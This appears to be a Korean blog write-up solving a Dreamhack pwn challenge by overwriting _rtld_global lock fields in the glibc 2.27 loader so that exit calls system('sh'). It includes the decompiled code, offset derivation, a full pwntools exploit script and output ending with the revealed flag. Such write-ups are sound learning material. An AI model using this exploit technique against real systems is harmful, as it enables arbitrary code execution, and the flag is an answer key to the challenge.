Overwrite _rtld_global

    Description

    Exploit Tech: _rtld_global에서 실습하는 문제입니다.

    checksec

    seo@ubuntu:~/dreamhack$ checksec ./ow_rtld
    [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
    [*] '/home/seo/dreamhack/ow_rtld'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled

    보호기법이 전부 다 걸려있다.

    Decompiled-src

    main

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      int v4; // [rsp+4h] [rbp-1Ch] BYREF
      _QWORD *v5; // [rsp+8h] [rbp-18h] BYREF
      __int64 v6[2]; // [rsp+10h] [rbp-10h] BYREF
    
      v6[1] = __readfsqword(0x28u);
      init(argc, argv, envp);
      printf("stdout: %p\n", _bss_start);
      while ( 1 )
      {
        printf("> ");
        __isoc99_scanf("%d", &v4);
        if ( v4 != 1 )
          break;
        printf("addr: ");
        __isoc99_scanf("%ld", &v5);
        printf("data: ");
        __isoc99_scanf("%ld", v6);
        *v5 = v6[0];
      }
      return 0;
    }

    stdout 주소를 알려주고
    초기에 1을 계속 입력하면, 항상 scanf를 통해 원하는 주소에 값을 쓸 수 있다.


    Solution

    stdout 주소를 알려주기 때문에, libc base 주소를 쉽게 구할 수 있다.

    seo@ubuntu:~$ cat /proc/13328/maps
    ...
    7f91aa731000-7f91aa918000 r-xp 00000000 08:01 1189215                    /lib/x86_64-linux-gnu/libc-2.27.so
    ...
    7f91aab22000-7f91aab49000 r-xp 00000000 08:01 1189211                    /lib/x86_64-linux-gnu/ld-2.27.so
    ...
    seo@ubuntu:~$ cat /proc/13514/maps
    ...
    7f9517a0f000-7f9517bf6000 r-xp 00000000 08:01 1189215                    /lib/x86_64-linux-gnu/libc-2.27.so
    ...
    7f9517e00000-7f9517e27000 r-xp 00000000 08:01 1189211                    /lib/x86_64-linux-gnu/ld-2.27.so
    ...

    ld base 주소 또한 쉽게 구할 수 있다.

    hex(0x7f9517e00000 – 0x7f9517a0f000)
    ‘0x3f1000’

    hex(0x7f91aab22000 – 0x7f91aa731000)
    ‘0x3f1000’

    오프셋 차이는 0x3f1000로, libc_base 주소에서 0x3f1000을 더하면 ld_base 주소를 구할 수 있다.
    (ubuntu 18.04.3 server 64bit, libc6:2.27-3ubuntu1 기준)

    이제 프로세스가 종료 될 때 호출 되는 구조체를 사용하여 우리가 원하는 함수를 호출시키게 만들면 된다.

    프로세스가 종료 될 때 호출 되는 구조체를 사용할 수 있다.

    전에 봐왔던 rtld 문제처럼, 프로세스가 종료되는 과정은 다음과 같다.

    __GI_exit -> __run_exit_handlers -> _dl_fini

    _dl_fini 함수를 살펴보면,

    https://github.com/bminor/glibc/blob/glibc-2.27/elf/dl-fini.c#L53

    void
    _dl_fini (void)
    {
    ...
    #ifdef SHARED
      int do_audit = 0;
     again:
    #endif
      for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
        {
          /* Protect against concurrent loads and unloads.  */
          __rtld_lock_lock_recursive (GL(dl_load_lock));
    ...

    for문 안을 보면 dl_load_lock 을 인자로 해서
    __rtld_lock_lock_recursive 함수를 호출하는 것을 볼 수 있다.

    seo@ubuntu:~/dreamhack$ sudo apt install libc6-dbg=2.27-3ubuntu1

    이제 오프셋을 하나씩 구해보자.

    gdb-peda$ p &_rtld_global._dl_rtld_lock_recursive
    $2 = (void (**)(void *)) 0x7ffff7ffdf60 <_rtld_global+3840>
    gdb-peda$ p &_rtld_global._dl_load_lock
    $3 = (__rtld_lock_recursive_t *) 0x7ffff7ffd968 <_rtld_global+2312>

    각각 _dl_rtld_lock_recursive은 _rtld_global+3840,
    _dl_load_lock은 _rtld_global+2312 지점에 있다는 것을 알았기 때문에,

    이제 _dl_rtld_lock_recursive에는 호출하려는 주소인 system 주소를 덮어쓰고,
    _dl_load_lock에는 인자인 “/bin/sh” 주소를 덮어써주면 쉘을 획득할 수 있다.

    solve.py

    from pwn import *
    
    #p = process('./ow_rtld')
    p = remote('host3.dreamhack.games', 20469)
    e = ELF('./ow_rtld')
    libc = ELF('./libc-2.27.so')
    ld = ELF('./ld-2.27.so')
    
    stdout = p.recvline()
    stdout = stdout.split(b": ")[1]
    stdout = stdout.split(b"\n")[0]
    stdout = int(stdout, 16)
    print(f"stdout: {hex(stdout)}")
    
    libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
    print(f"libc_base: {hex(libc_base)}")
    ld_base = libc_base + 0x3f1000
    print(f"ld_base: {hex(ld_base)}")
    
    dl_rtld_lock_recursive = ld_base + ld.symbols['_rtld_global'] + 3848
    print(f"dl_rtld_lock_recursive: {hex(dl_rtld_lock_recursive)}")
    dl_load_lock = ld_base + ld.symbols['_rtld_global'] + 2312
    print(f"dl_load_lock: {hex(dl_load_lock)}")
    
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"addr: ", str(dl_load_lock))
    p.sendlineafter(b"data: ", str(u64("sh\0\0\0\0\0\0")))
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"addr: ", str(dl_rtld_lock_recursive))
    p.sendlineafter(b"data: ", str(libc_base + libc.symbols['system']))
    p.sendlineafter(b"> ", b"0")
    
    p.interactive()

    Result

    seo@ubuntu:~/dreamhack$ python3 solve.py
    [+] Opening connection to host3.dreamhack.games on port 20469: Done
    [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
    [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
    [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
    stdout: 0x7f25ba74d760
    libc_base: 0x7f25ba361000
    ld_base: 0x7f25ba752000
    dl_rtld_lock_recursive: 0x7f25ba97af68
    dl_load_lock: 0x7f25ba97a968
    [*] Switching to interactive mode
    $ ls
    flag
    ow_rtld
    $ cat flag
    DH{a5bd416ee5f23da9f378c1b5d177b99366141f93beb3eabfa5b74abcf83f4293}
    $
    [*] Interrupted
    [*] Closed connection to host3.dreamhack.games port 20469

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다